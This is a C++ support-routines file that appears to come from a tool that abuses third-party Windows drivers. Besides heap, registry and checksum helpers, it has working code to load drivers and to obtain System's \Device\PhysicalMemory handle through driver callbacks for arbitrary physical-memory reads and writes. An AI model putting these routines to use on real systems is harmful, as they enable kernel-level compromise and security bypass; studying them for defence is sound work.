Files
hfiref0x 66998a098e Add hashing and Matrox driver; update physmap
Added Matrox driver as provider 62
Update list command: display file SHA1, Authenticode SHA1, page SHA1, page SHA256 hashes for each provider in database
Update readme: add provider 62 to the descriptions table and provide hashes
2026-06-06 12:42:34 +07:00

4398 lines
100 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020 - 2026
*
* TITLE: SUP.CPP
*
* VERSION: 1.49
*
* DATE: 05 Jun 2026
*
* Program global support routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
static SUPERFETCH_MEMORY_MAP g_SuperfetchMemoryMap = { 0 };
static BOOL g_SuperfetchMemoryMapInitialized = FALSE;
/*
* supHeapAlloc
*
* Purpose:
*
* Wrapper for RtlAllocateHeap.
*
*/
PVOID FORCEINLINE supHeapAlloc(
_In_ SIZE_T Size)
{
return RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Size);
}
/*
* supHeapFree
*
* Purpose:
*
* Wrapper for RtlFreeHeap.
*
*/
BOOL FORCEINLINE supHeapFree(
_In_ PVOID Memory)
{
return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Memory);
}
/*
* supAllocateLockedMemory
*
* Purpose:
*
* Wrapper for VirtualAllocEx+VirtualLock.
*
*/
PVOID supAllocateLockedMemory(
_In_ SIZE_T Size,
_In_ ULONG AllocationType,
_In_ ULONG Protect
)
{
PVOID Buffer;
DWORD lastError;
SetLastError(ERROR_SUCCESS);
Buffer = VirtualAllocEx(NtCurrentProcess(),
NULL,
Size,
AllocationType,
Protect);
if (Buffer) {
if (!VirtualLock(Buffer, Size)) {
lastError = GetLastError();
VirtualFreeEx(NtCurrentProcess(),
Buffer,
0,
MEM_RELEASE);
SetLastError(lastError);
Buffer = NULL;
}
}
return Buffer;
}
/*
* supFreeLockedMemory
*
* Purpose:
*
* Wrapper for VirtualUnlock + VirtualFreeEx.
*
*/
BOOL supFreeLockedMemory(
_In_ PVOID Memory,
_In_ SIZE_T LockedSize
)
{
BOOL bUnlocked, bFreed;
DWORD e = ERROR_SUCCESS;
if (Memory == NULL)
return FALSE;
bUnlocked = VirtualUnlock(Memory, LockedSize);
if (!bUnlocked)
e = GetLastError();
bFreed = VirtualFreeEx(NtCurrentProcess(), Memory, 0, MEM_RELEASE);
if (!bFreed && e == ERROR_SUCCESS)
e = GetLastError();
SetLastError(e);
return (bUnlocked && bFreed);
}
/*
* supCallDriverEx
*
* Purpose:
*
* Call driver.
*
*/
NTSTATUS supCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
if (NT_SUCCESS(ntStatus))
ntStatus = ioStatus.Status;
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
/*
* supCallDriver
*
* Purpose:
*
* Call driver.
*
*/
BOOL supCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = supCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
/*
* supMapPhysicalMemory
*
* Purpose:
*
* Map physical memory.
*
*/
PVOID supMapPhysicalMemory(
_In_ HANDLE SectionHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_In_ BOOL MapForWrite
)
{
PVOID viewBase = NULL;
ULONG ulProtect;
LARGE_INTEGER sectionBase;
SIZE_T viewSize;
if (MapForWrite)
ulProtect = PAGE_READWRITE;
else
ulProtect = PAGE_READONLY;
ULONG_PTR offset = PhysicalAddress & ~(PAGE_SIZE - 1);
sectionBase.QuadPart = offset;
viewSize = (PhysicalAddress - offset) + NumberOfBytes;
NTSTATUS ntStatus = NtMapViewOfSection(SectionHandle,
NtCurrentProcess(),
&viewBase,
0,
0,
&sectionBase,
&viewSize,
ViewUnmap,
NULL,
ulProtect);
if (!NT_SUCCESS(ntStatus)) {
SetLastError(RtlNtStatusToDosError(ntStatus));
}
else {
return viewBase;
}
return NULL;
}
/*
* supUnmapPhysicalMemory
*
* Purpose:
*
* Unmap physical memory view.
*
*/
VOID supUnmapPhysicalMemory(
_In_ PVOID BaseAddress
)
{
NtUnmapViewOfSection(NtCurrentProcess(), BaseAddress);
}
/*
* supReadWritePhysicalMemory
*
* Purpose:
*
* Read/Write physical memory.
*
*/
BOOL WINAPI supReadWritePhysicalMemory(
_In_ HANDLE SectionHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
mappedSection = supMapPhysicalMemory(SectionHandle,
PhysicalAddress,
NumberOfBytes,
DoWrite);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
bResult = FALSE;
dwError = GetExceptionCode();
}
supUnmapPhysicalMemory(mappedSection);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* supOpenPhysicalMemory2
*
* Purpose:
*
* Locate and open physical memory section for read/write.
*
*/
BOOL WINAPI supOpenPhysicalMemory2(
_In_ HANDLE DeviceHandle,
_In_ pfnDuplicateHandleCallback DuplicateHandleCallback,
_Out_ PHANDLE PhysicalMemoryHandle)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_NOT_FOUND;
ULONG sectionObjectType = (ULONG)-1;
HANDLE sectionHandle = NULL;
PSYSTEM_HANDLE_INFORMATION_EX handleArray = NULL;
UNICODE_STRING ustr;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING usSection;
do {
*PhysicalMemoryHandle = NULL;
RtlInitUnicodeString(&ustr, L"\\KnownDlls\\kernel32.dll");
InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS ntStatus = NtOpenSection(&sectionHandle, SECTION_QUERY, &obja);
if (!NT_SUCCESS(ntStatus)) {
dwError = RtlNtStatusToDosError(ntStatus);
break;
}
handleArray = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation);
if (handleArray == NULL) {
dwError = ERROR_NOT_ENOUGH_MEMORY;
break;
}
ULONG i;
DWORD currentProcessId = GetCurrentProcessId();
for (i = 0; i < handleArray->NumberOfHandles; i++) {
if (handleArray->Handles[i].UniqueProcessId == currentProcessId &&
handleArray->Handles[i].HandleValue == (ULONG_PTR)sectionHandle)
{
sectionObjectType = handleArray->Handles[i].ObjectTypeIndex;
break;
}
}
NtClose(sectionHandle);
sectionHandle = NULL;
if (sectionObjectType == (ULONG)-1) {
dwError = ERROR_INVALID_DATATYPE;
break;
}
RtlInitUnicodeString(&usSection, L"\\Device\\PhysicalMemory");
for (i = 0; i < handleArray->NumberOfHandles; i++) {
if (handleArray->Handles[i].UniqueProcessId == SYSTEM_PID_MAGIC &&
handleArray->Handles[i].ObjectTypeIndex == (ULONG_PTR)sectionObjectType &&
handleArray->Handles[i].GrantedAccess == SECTION_ALL_ACCESS)
{
HANDLE testHandle = NULL;
if (DuplicateHandleCallback(DeviceHandle,
UlongToHandle(SYSTEM_PID_MAGIC),
NULL,
(HANDLE)handleArray->Handles[i].HandleValue,
&testHandle,
MAXIMUM_ALLOWED,
0,
0))
{
union {
BYTE* Buffer;
POBJECT_NAME_INFORMATION Information;
} NameInfo;
NameInfo.Buffer = NULL;
ntStatus = supQueryObjectInformation(testHandle,
ObjectNameInformation,
(PVOID*)&NameInfo.Buffer,
NULL,
(PNTSUPMEMALLOC)supHeapAlloc,
(PNTSUPMEMFREE)supHeapFree);
if (NT_SUCCESS(ntStatus) && NameInfo.Buffer) {
if (RtlEqualUnicodeString(&usSection, &NameInfo.Information->Name, TRUE)) {
*PhysicalMemoryHandle = testHandle;
bResult = TRUE;
}
supHeapFree(NameInfo.Buffer);
}
if (bResult == FALSE)
NtClose(testHandle);
}
if (bResult)
break;
}
}
} while (FALSE);
if (sectionHandle) NtClose(sectionHandle);
if (handleArray) supHeapFree(handleArray);
if (bResult) dwError = ERROR_SUCCESS;
SetLastError(dwError);
return bResult;
}
/*
* supOpenPhysicalMemory
*
* Purpose:
*
* Locate and open physical memory section for read/write.
*
*/
BOOL WINAPI supOpenPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ pfnOpenProcessCallback OpenProcessCallback,
_In_ pfnDuplicateHandleCallback DuplicateHandleCallback,
_Out_ PHANDLE PhysicalMemoryHandle)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_NOT_FOUND;
ULONG sectionObjectType = (ULONG)-1;
HANDLE processHandle = NULL;
HANDLE sectionHandle = NULL;
PSYSTEM_HANDLE_INFORMATION_EX handleArray = NULL;
UNICODE_STRING ustr;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING usSection;
do {
*PhysicalMemoryHandle = NULL;
if (!OpenProcessCallback(DeviceHandle,
UlongToHandle(SYSTEM_PID_MAGIC),
PROCESS_ALL_ACCESS,
&processHandle))
{
dwError = GetLastError();
break;
}
RtlInitUnicodeString(&ustr, L"\\KnownDlls\\kernel32.dll");
InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS ntStatus = NtOpenSection(&sectionHandle, SECTION_QUERY, &obja);
if (!NT_SUCCESS(ntStatus)) {
dwError = RtlNtStatusToDosError(ntStatus);
break;
}
handleArray = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation);
if (handleArray == NULL) {
dwError = ERROR_NOT_ENOUGH_MEMORY;
break;
}
ULONG i;
DWORD currentProcessId = GetCurrentProcessId();
for (i = 0; i < handleArray->NumberOfHandles; i++) {
if (handleArray->Handles[i].UniqueProcessId == currentProcessId &&
handleArray->Handles[i].HandleValue == (ULONG_PTR)sectionHandle)
{
sectionObjectType = handleArray->Handles[i].ObjectTypeIndex;
break;
}
}
NtClose(sectionHandle);
sectionHandle = NULL;
if (sectionObjectType == (ULONG)-1) {
dwError = ERROR_INVALID_DATATYPE;
break;
}
RtlInitUnicodeString(&usSection, L"\\Device\\PhysicalMemory");
for (i = 0; i < handleArray->NumberOfHandles; i++) {
if (handleArray->Handles[i].UniqueProcessId == SYSTEM_PID_MAGIC &&
handleArray->Handles[i].ObjectTypeIndex == (ULONG_PTR)sectionObjectType &&
handleArray->Handles[i].GrantedAccess == SECTION_ALL_ACCESS)
{
HANDLE testHandle = NULL;
if (DuplicateHandleCallback(DeviceHandle,
UlongToHandle(SYSTEM_PID_MAGIC),
processHandle,
(HANDLE)handleArray->Handles[i].HandleValue,
&testHandle,
MAXIMUM_ALLOWED,
0,
0))
{
union {
BYTE* Buffer;
POBJECT_NAME_INFORMATION Information;
} NameInfo;
NameInfo.Buffer = NULL;
ntStatus = supQueryObjectInformation(testHandle,
ObjectNameInformation,
(PVOID*)&NameInfo.Buffer,
NULL,
(PNTSUPMEMALLOC)supHeapAlloc,
(PNTSUPMEMFREE)supHeapFree);
if (NT_SUCCESS(ntStatus) && NameInfo.Buffer) {
if (RtlEqualUnicodeString(&usSection, &NameInfo.Information->Name, TRUE)) {
*PhysicalMemoryHandle = testHandle;
bResult = TRUE;
}
supHeapFree(NameInfo.Buffer);
}
if (bResult == FALSE)
NtClose(testHandle);
}
if (bResult)
break;
}
}
} while (FALSE);
if (sectionHandle) NtClose(sectionHandle);
if (processHandle) NtClose(processHandle);
if (handleArray) supHeapFree(handleArray);
if (bResult) dwError = ERROR_SUCCESS;
SetLastError(dwError);
return bResult;
}
/*
* supChkSum
*
* Purpose:
*
* Calculate partial checksum for given buffer.
*
*/
USHORT supChkSum(
ULONG PartialSum,
PUSHORT Source,
ULONG Length
)
{
while (Length--) {
PartialSum += *Source++;
PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
}
return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}
/*
* supCalculateCheckSumForMappedFile
*
* Purpose:
*
* Calculate PE file checksum.
*
*/
DWORD supCalculateCheckSumForMappedFile(
_In_ PVOID BaseAddress,
_In_ ULONG FileLength
)
{
PUSHORT AdjustSum;
PIMAGE_NT_HEADERS NtHeaders;
USHORT PartialSum;
ULONG CheckSum;
PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);
NtHeaders = RtlImageNtHeader(BaseAddress);
if (NtHeaders != NULL) {
AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum);
PartialSum -= (PartialSum < AdjustSum[0]);
PartialSum -= AdjustSum[0];
PartialSum -= (PartialSum < AdjustSum[1]);
PartialSum -= AdjustSum[1];
}
else
{
PartialSum = 0;
}
CheckSum = (ULONG)PartialSum + FileLength;
return CheckSum;
}
/*
* supVerifyMappedImageMatchesChecksum
*
* Purpose:
*
* Calculate PE file checksum and compare it with checksum in PE header.
*
*/
BOOLEAN supVerifyMappedImageMatchesChecksum(
_In_ PVOID BaseAddress,
_In_ ULONG FileLength,
_Out_opt_ PULONG HeaderChecksum,
_Out_opt_ PULONG CalculatedChecksum
)
{
PUSHORT AdjustSum;
PIMAGE_NT_HEADERS NtHeaders;
ULONG HeaderSum;
ULONG CheckSum;
USHORT PartialSum;
PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);
NtHeaders = RtlImageNtHeader(BaseAddress);
if (NtHeaders) {
AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum);
PartialSum -= (PartialSum < AdjustSum[0]);
PartialSum -= AdjustSum[0];
PartialSum -= (PartialSum < AdjustSum[1]);
PartialSum -= AdjustSum[1];
HeaderSum = NtHeaders->OptionalHeader.CheckSum;
}
else {
HeaderSum = FileLength;
PartialSum = 0;
}
CheckSum = (ULONG)PartialSum + FileLength;
if (HeaderChecksum)
*HeaderChecksum = HeaderSum;
if (CalculatedChecksum)
*CalculatedChecksum = CheckSum;
return (CheckSum == HeaderSum);
}
typedef struct _REGSTACK_ENTRY {
WCHAR SubKey[MAX_PATH + 1];
} REGSTACK_ENTRY, * PREGSTACK_ENTRY;
/*
* supxDeleteKeyTreeWorker
*
* Purpose:
*
* Delete key and it subkeys/values.
*
*/
BOOL supxDeleteKeyTreeWorker(
_In_ HKEY hKeyRoot,
_In_ LPWSTR lpSubKey
)
{
HKEY hKey;
LONG lResult;
DWORD dwSize;
FILETIME ftWrite;
WCHAR szName[MAX_PATH + 1];
WCHAR workingPath[MAX_PATH * 2];
USHORT depthStack[256]; // depth (path length in WCHARs, excluding terminator)
INT sp = -1;
SIZE_T baseLen, curLen;
SIZE_T nameLen;
BOOL hasTrailingSlash;
PWCHAR p;
if (lpSubKey == NULL || lpSubKey[0] == 0)
return FALSE;
RtlSecureZeroMemory(depthStack, sizeof(depthStack));
_strncpy(workingPath, RTL_NUMBER_OF(workingPath), lpSubKey, RTL_NUMBER_OF(workingPath) - 1);
//
// Try fast delete first.
//
lResult = RegDeleteKey(hKeyRoot, workingPath);
if (lResult == ERROR_SUCCESS || lResult == ERROR_FILE_NOT_FOUND)
return TRUE;
lResult = RegOpenKeyEx(hKeyRoot, workingPath, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) {
if (lResult == ERROR_FILE_NOT_FOUND)
return TRUE;
return FALSE;
}
RegCloseKey(hKey);
//
// Normalize base path: remove trailing backslashes (keep root form if any).
//
baseLen = _strlen(workingPath);
while (baseLen > 0 && workingPath[baseLen - 1] == L'\\') {
workingPath[baseLen - 1] = 0;
baseLen--;
}
if (baseLen == 0)
return FALSE;
++sp;
depthStack[sp] = (USHORT)baseLen;
while (sp >= 0) {
curLen = depthStack[sp];
workingPath[curLen] = 0;
lResult = RegOpenKeyEx(hKeyRoot, workingPath, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) {
if (lResult == ERROR_FILE_NOT_FOUND) {
sp--;
continue;
}
return FALSE;
}
dwSize = MAX_PATH;
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL, NULL, NULL, &ftWrite);
if (lResult == ERROR_NO_MORE_ITEMS) {
RegCloseKey(hKey);
RegDeleteKey(hKeyRoot, workingPath);
sp--;
continue;
}
if (lResult != ERROR_SUCCESS) {
RegCloseKey(hKey);
return FALSE;
}
RegCloseKey(hKey);
//
// Append child: workingPath + '\' + child + '\'.
//
nameLen = dwSize;
hasTrailingSlash = (curLen > 0 && workingPath[curLen - 1] == L'\\');
//
// Ensure capacity: base + optional '\' + name + optional '\' + 0.
//
if (curLen + (hasTrailingSlash ? 0 : 1) + nameLen + 1 + 1 >= RTL_NUMBER_OF(workingPath))
return FALSE;
p = workingPath + curLen;
if (!hasTrailingSlash) {
*p++ = L'\\';
curLen++;
}
_strncpy(p, RTL_NUMBER_OF(workingPath) - curLen, szName, nameLen);
p[nameLen] = 0;
curLen += nameLen;
//
// Add trailing backslash to simplify appending next level.
//
p = workingPath + curLen;
*p++ = L'\\';
*p = 0;
curLen++;
if (++sp >= (INT)RTL_NUMBER_OF(depthStack))
return FALSE;
depthStack[sp] = (USHORT)curLen;
}
return TRUE;
}
/*
* supRegDeleteKeyTree
*
* Purpose:
*
* Delete key and all it subkeys/values.
*
* Remark:
*
* SubKey should not be longer than 260 chars.
*
*/
BOOL supRegDeleteKeyTree(
_In_ HKEY hKeyRoot,
_In_ LPCWSTR lpSubKey)
{
WCHAR szKeyName[MAX_PATH * 2];
if (lpSubKey == NULL)
return FALSE;
RtlSecureZeroMemory(szKeyName, sizeof(szKeyName));
_strncpy(szKeyName, RTL_NUMBER_OF(szKeyName), lpSubKey, RTL_NUMBER_OF(szKeyName) - 1);
return supxDeleteKeyTreeWorker(hKeyRoot, szKeyName);
}
/*
* supRegWriteValueDWORD
*
* Purpose:
*
* Write DWORD value to the registry.
*
*/
NTSTATUS supRegWriteValueDWORD(
_In_ HANDLE RegistryHandle,
_In_ LPCWSTR ValueName,
_In_ DWORD ValueData
)
{
UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, ValueName);
return NtSetValueKey(RegistryHandle, &valueName, 0, REG_DWORD,
(PVOID)&ValueData, sizeof(DWORD));
}
/*
* supRegWriteValueString
*
* Purpose:
*
* Write string value to the registry.
*
*/
NTSTATUS supRegWriteValueString(
_In_ HANDLE RegistryHandle,
_In_ LPCWSTR ValueName,
_In_ LPCWSTR ValueData
)
{
NTSTATUS status;
UNICODE_STRING valueName;
SIZE_T length;
SIZE_T bytesNeeded;
PWCHAR buffer;
WCHAR smallBuf[64];
if (ValueName == NULL || ValueData == NULL)
return STATUS_INVALID_PARAMETER;
RtlInitUnicodeString(&valueName, ValueName);
length = _strlen(ValueData);
if (length == 0) {
smallBuf[0] = 0;
return NtSetValueKey(RegistryHandle, &valueName, 0, REG_SZ,
smallBuf, (ULONG)sizeof(UNICODE_NULL));
}
if (length >= 0xFFFFFFFF / sizeof(WCHAR))
return STATUS_INVALID_PARAMETER;
bytesNeeded = (length + 1) * sizeof(WCHAR);
if (length < RTL_NUMBER_OF(smallBuf)) {
buffer = smallBuf;
_strncpy(buffer, RTL_NUMBER_OF(smallBuf), ValueData, RTL_NUMBER_OF(smallBuf));
}
else {
buffer = (PWCHAR)supHeapAlloc(bytesNeeded);
if (buffer == NULL)
return STATUS_INSUFFICIENT_RESOURCES;
_strncpy(buffer, bytesNeeded / sizeof(WCHAR), ValueData, bytesNeeded / sizeof(WCHAR));
}
status = NtSetValueKey(RegistryHandle,
&valueName,
0,
REG_SZ,
buffer,
(ULONG)bytesNeeded);
if (buffer != smallBuf)
supHeapFree(buffer);
return status;
}
/*
* supxCreateDriverEntry
*
* Purpose:
*
* Creating registry entry for driver.
*
*/
NTSTATUS supxCreateDriverEntry(
_In_opt_ LPCWSTR DriverPath,
_In_ LPCWSTR KeyName
)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
DWORD dwData, dwResult;
HKEY keyHandle = NULL;
UNICODE_STRING driverImagePath;
RtlInitEmptyUnicodeString(&driverImagePath, NULL, 0);
if (DriverPath) {
if (!RtlDosPathNameToNtPathName_U(DriverPath,
&driverImagePath,
NULL,
NULL))
{
return STATUS_INVALID_PARAMETER_2;
}
}
if (ERROR_SUCCESS != RegCreateKeyEx(HKEY_LOCAL_MACHINE,
KeyName,
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&keyHandle,
NULL))
{
status = STATUS_ACCESS_DENIED;
goto Cleanup;
}
dwResult = ERROR_SUCCESS;
do {
dwData = SERVICE_ERROR_NORMAL;
dwResult = RegSetValueEx(keyHandle,
TEXT("ErrorControl"),
0,
REG_DWORD,
(BYTE*)&dwData,
sizeof(dwData));
if (dwResult != ERROR_SUCCESS)
break;
dwData = SERVICE_KERNEL_DRIVER;
dwResult = RegSetValueEx(keyHandle,
TEXT("Type"),
0,
REG_DWORD,
(BYTE*)&dwData,
sizeof(dwData));
if (dwResult != ERROR_SUCCESS)
break;
dwData = SERVICE_DEMAND_START;
dwResult = RegSetValueEx(keyHandle,
TEXT("Start"),
0,
REG_DWORD,
(BYTE*)&dwData,
sizeof(dwData));
if (dwResult != ERROR_SUCCESS)
break;
if (DriverPath) {
dwResult = RegSetValueEx(keyHandle,
TEXT("ImagePath"),
0,
REG_EXPAND_SZ,
(BYTE*)driverImagePath.Buffer,
(DWORD)driverImagePath.Length + sizeof(UNICODE_NULL));
}
} while (FALSE);
RegCloseKey(keyHandle);
if (dwResult != ERROR_SUCCESS) {
status = STATUS_ACCESS_DENIED;
}
else
{
status = STATUS_SUCCESS;
}
Cleanup:
if (DriverPath) {
if (driverImagePath.Buffer) {
RtlFreeUnicodeString(&driverImagePath);
}
}
return status;
}
/*
* supLoadDriverEx
*
* Purpose:
*
* Install driver and load it.
*
* N.B.
* SE_LOAD_DRIVER_PRIVILEGE is required to be assigned and enabled.
*
*/
NTSTATUS supLoadDriverEx(
_In_ LPCWSTR DriverName,
_In_ LPCWSTR DriverPath,
_In_ BOOLEAN UnloadPreviousInstance,
_In_opt_ pfnLoadDriverCallback Callback,
_In_opt_ PVOID CallbackParam
)
{
SIZE_T keyOffset;
NTSTATUS status;
UNICODE_STRING driverServiceName;
WCHAR szBuffer[MAX_PATH + 1];
if (DriverName == NULL)
return STATUS_INVALID_PARAMETER_1;
if (DriverPath == NULL)
return STATUS_INVALID_PARAMETER_2;
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
keyOffset = RTL_NUMBER_OF(NT_REG_PREP);
if (FAILED(StringCchPrintf(szBuffer, MAX_PATH,
DRIVER_REGKEY,
NT_REG_PREP,
DriverName)))
{
return STATUS_INVALID_PARAMETER_1;
}
status = supxCreateDriverEntry(DriverPath,
&szBuffer[keyOffset]);
if (!NT_SUCCESS(status))
return status;
RtlInitUnicodeString(&driverServiceName, szBuffer);
if (Callback) {
status = Callback(&driverServiceName, CallbackParam);
if (!NT_SUCCESS(status)) {
supRegDeleteKeyTree(HKEY_LOCAL_MACHINE, &szBuffer[keyOffset]);
return status;
}
}
status = NtLoadDriver(&driverServiceName);
if (UnloadPreviousInstance) {
if ((status == STATUS_IMAGE_ALREADY_LOADED) ||
(status == STATUS_OBJECT_NAME_COLLISION) ||
(status == STATUS_OBJECT_NAME_EXISTS))
{
status = NtUnloadDriver(&driverServiceName);
if (NT_SUCCESS(status)) {
status = NtLoadDriver(&driverServiceName);
}
}
}
else {
if (status == STATUS_OBJECT_NAME_EXISTS)
status = STATUS_SUCCESS;
}
// Cleanup stale registry entry when load ultimately fails.
if (!NT_SUCCESS(status)) {
supRegDeleteKeyTree(HKEY_LOCAL_MACHINE, &szBuffer[keyOffset]);
}
return status;
}
/*
* supLoadDriver
*
* Purpose:
*
* Install driver and load it.
*
* N.B.
* SE_LOAD_DRIVER_PRIVILEGE is required to be assigned and enabled.
*
*/
NTSTATUS supLoadDriver(
_In_ LPCWSTR DriverName,
_In_ LPCWSTR DriverPath,
_In_ BOOLEAN UnloadPreviousInstance
)
{
return supLoadDriverEx(DriverName,
DriverPath,
UnloadPreviousInstance,
NULL,
NULL);
}
/*
* supUnloadDriver
*
* Purpose:
*
* Call driver unload and remove corresponding registry key.
*
* N.B.
* SE_LOAD_DRIVER_PRIVILEGE is required to be assigned and enabled.
*
*/
NTSTATUS supUnloadDriver(
_In_ LPCWSTR DriverName,
_In_ BOOLEAN fRemove
)
{
NTSTATUS status;
SIZE_T keyOffset;
UNICODE_STRING driverServiceName;
WCHAR szBuffer[MAX_PATH + 1];
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
if (FAILED(StringCchPrintf(szBuffer, MAX_PATH,
DRIVER_REGKEY,
NT_REG_PREP,
DriverName)))
{
return STATUS_INVALID_PARAMETER_1;
}
keyOffset = RTL_NUMBER_OF(NT_REG_PREP);
status = supxCreateDriverEntry(NULL,
&szBuffer[keyOffset]);
if (!NT_SUCCESS(status))
return status;
RtlInitUnicodeString(&driverServiceName, szBuffer);
status = NtUnloadDriver(&driverServiceName);
if (NT_SUCCESS(status)) {
if (fRemove)
supRegDeleteKeyTree(HKEY_LOCAL_MACHINE, &szBuffer[keyOffset]);
}
return status;
}
/*
* supOpenDriverEx
*
* Purpose:
*
* Open handle for driver.
*
*/
NTSTATUS supOpenDriverEx(
_In_ LPCWSTR DriverName,
_In_ ACCESS_MASK DesiredAccess,
_Out_opt_ PHANDLE DeviceHandle
)
{
HANDLE deviceHandle = NULL;
UNICODE_STRING usDeviceLink;
OBJECT_ATTRIBUTES obja;
IO_STATUS_BLOCK iost;
NTSTATUS ntStatus;
RtlInitUnicodeString(&usDeviceLink, DriverName);
InitializeObjectAttributes(&obja, &usDeviceLink, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = NtCreateFile(&deviceHandle,
DesiredAccess,
&obja,
&iost,
NULL,
0,
0,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (NT_SUCCESS(ntStatus)) {
if (DeviceHandle)
*DeviceHandle = deviceHandle;
}
return ntStatus;
}
/*
* supOpenDriver
*
* Purpose:
*
* Open handle for driver through \\DosDevices.
*
*/
NTSTATUS supOpenDriver(
_In_ LPCWSTR DriverName,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE DeviceHandle
)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
// assume failure
if (DeviceHandle)
*DeviceHandle = NULL;
else
return STATUS_INVALID_PARAMETER_2;
if (DriverName) {
WCHAR szDeviceLink[MAX_PATH + 1];
RtlSecureZeroMemory(szDeviceLink, sizeof(szDeviceLink));
if (FAILED(StringCchPrintf(szDeviceLink,
MAX_PATH,
TEXT("\\DosDevices\\%wS"),
DriverName)))
{
return STATUS_INVALID_PARAMETER_1;
}
status = supOpenDriverEx(szDeviceLink,
DesiredAccess,
DeviceHandle);
if (status == STATUS_OBJECT_NAME_NOT_FOUND ||
status == STATUS_NO_SUCH_DEVICE)
{
//
// Check the case when no symlink available.
//
RtlSecureZeroMemory(szDeviceLink, sizeof(szDeviceLink));
if (FAILED(StringCchPrintf(szDeviceLink,
MAX_PATH,
TEXT("\\Device\\%wS"),
DriverName)))
{
return STATUS_INVALID_PARAMETER_1;
}
status = supOpenDriverEx(szDeviceLink,
DesiredAccess,
DeviceHandle);
}
}
else {
status = STATUS_INVALID_PARAMETER_1;
}
return status;
}
/*
* supGetSystemInfo
*
* Purpose:
*
* Wrapper for NtQuerySystemInformation.
*
*/
PVOID supGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass
)
{
return ntsupGetSystemInfoEx(
SystemInformationClass,
NULL,
(PNTSUPMEMALLOC)supHeapAlloc,
(PNTSUPMEMFREE)supHeapFree);
}
/*
* supGetLoadedModulesList
*
* Purpose:
*
* Read list of loaded kernel modules.
*
*/
PVOID supGetLoadedModulesList(
_In_ BOOL ExtendedOutput,
_Out_opt_ PULONG ReturnLength
)
{
return ntsupGetLoadedModulesListEx(ExtendedOutput,
ReturnLength,
(PNTSUPMEMALLOC)supHeapAlloc,
(PNTSUPMEMFREE)supHeapFree);
}
/*
* supGetNtOsBase
*
* Purpose:
*
* Return ntoskrnl base address.
*
*/
